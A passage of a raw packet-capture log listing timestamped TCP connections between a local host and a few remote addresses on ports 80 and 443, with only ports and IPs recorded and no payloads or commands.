Nov 24, 2024 04:20:51.447021008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.447640896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.447698116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.447746992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.447813988 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.448476076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.448534012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.448566914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.448609114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.449284077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.449337959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.449369907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.449413061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.450120926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.450174093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.450319052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.450364113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.450922966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.451037884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.451106071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.451734066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.451795101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.451850891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.451963902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.452560902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.452616930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.452678919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.452721119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.453385115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.453453064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.453494072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.453536034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.454210043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.454277039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.454310894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.454358101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.455010891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.455116987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.455171108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.455849886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.455921888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.455960989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.456012011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.456634045 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.456718922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.456787109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.456837893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.457477093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.457570076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.457636118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.458292961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.458400011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.458456039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.459096909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.459161043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.459235907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.459287882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.459991932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.460052967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.460088968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.460131884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.460781097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.460841894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.460869074 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.460906982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.461569071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.461637974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.461673975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.461723089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.462374926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.462447882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.462475061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.462672949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.463218927 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.463280916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.463329077 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.463417053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.464015961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.464071989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.464106083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.464145899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.464833975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.464893103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.464896917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.464941025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.465620041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.465684891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.633759022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.633774996 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.633846045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.634192944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.634208918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.634253025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.634283066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.635041952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.635102987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.635183096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.635232925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.635938883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.635952950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.636004925 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.636029005 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.636538029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.636594057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.636845112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.636904955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.637449980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.637461901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.637522936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.637548923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.638314962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.638328075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.638375998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.638883114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.638967037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.638998985 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.639108896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.639673948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.639755011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.639823914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.640523911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.640580893 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.640613079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.640702009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.641305923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.641362906 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.641427994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.641473055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.642122984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.642184973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.642235041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.642294884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.642970085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.643105984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.643167973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.646107912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646121979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646133900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646143913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646155119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646162033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646177053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.646204948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.646397114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646437883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.646588087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.646637917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.647241116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.647305965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.647380114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.647501945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.648000956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.648066044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.648145914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.648190022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.648885012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.648938894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.649166107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.649213076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.649657965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.649715900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.649801970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.649846077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.650542021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.650552988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.650598049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.650610924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.651258945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.651638985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.651701927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.652177095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.652225971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.652317047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.652426958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.654509068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654522896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654535055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654545069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654556990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654592037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.654599905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.654613972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.654644966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.655249119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.655324936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.655327082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.655702114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.656059980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.656112909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.656162977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.656312943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.656879902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.656959057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.657005072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.657895088 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.657907963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.657953978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.657977104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.658520937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.658673048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.658720970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.659379959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.659436941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.659441948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.660140038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.660156965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.660211086 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.660238981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.660964966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.661010027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.661217928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.661780119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.661828995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.661977053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.662473917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.662883997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.662898064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.662941933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.663533926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.663546085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.663589954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.664267063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.664370060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.664390087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.664529085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.665067911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.665133953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.665167093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.665297031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.665868998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.665940046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.665968895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.665981054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.666752100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.666801929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.666831970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.666847944 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.667510033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.667637110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.667645931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.667998075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.668363094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.668469906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.668508053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.668508053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.669147015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.669250011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.669277906 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.669292927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.669964075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.670027018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.670059919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.670104980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.670804977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.670913935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.670980930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.671627998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.671690941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.671720982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.671808958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.672456980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.672522068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.672607899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.672655106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.673252106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.673310995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.673358917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.673403025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.674084902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.674154043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.674185991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.674228907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.674879074 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.674935102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.674989939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.675077915 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.675707102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.675765038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.675776005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.675831079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.676480055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.676786900 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.703706980 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.703787088 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.704432964 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.705080986 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.705111980 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.705140114 CET	49906	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.705169916 CET	443	49906	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.709584951 CET	49919	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.709628105 CET	443	49919	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.709696054 CET	49919	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.709877968 CET	49919	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.709888935 CET	443	49919	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.751310110 CET	443	49911	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.751847029 CET	49911	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.751856089 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.751877069 CET	443	49911	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.751912117 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.751972914 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.752294064 CET	49911	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.752300978 CET	443	49911	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.752559900 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.752583027 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.752597094 CET	49907	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.752603054 CET	443	49907	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.754821062 CET	49920	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.754873991 CET	443	49920	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.754957914 CET	49920	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.755127907 CET	49920	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.755176067 CET	443	49920	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.790077925 CET	443	49910	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.790456057 CET	49910	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.790540934 CET	443	49910	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.790851116 CET	49910	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.790869951 CET	443	49910	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.795855999 CET	49921	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:51.795893908 CET	443	49921	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:51.796267986 CET	49921	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:51.796377897 CET	49921	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:51.796387911 CET	443	49921	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:51.811155081 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:51.813060045 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.813132048 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.813316107 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.813371897 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.813401937 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.813416004 CET	49909	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.813422918 CET	443	49909	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.815804005 CET	49922	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.815834999 CET	443	49922	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.815939903 CET	49922	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.816062927 CET	49922	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:51.816075087 CET	443	49922	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:51.843997002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.844080925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.844149113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.844336033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:51.844388962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:51.844477892 CET	80	49835	185.215.113.206	192.168.2.6
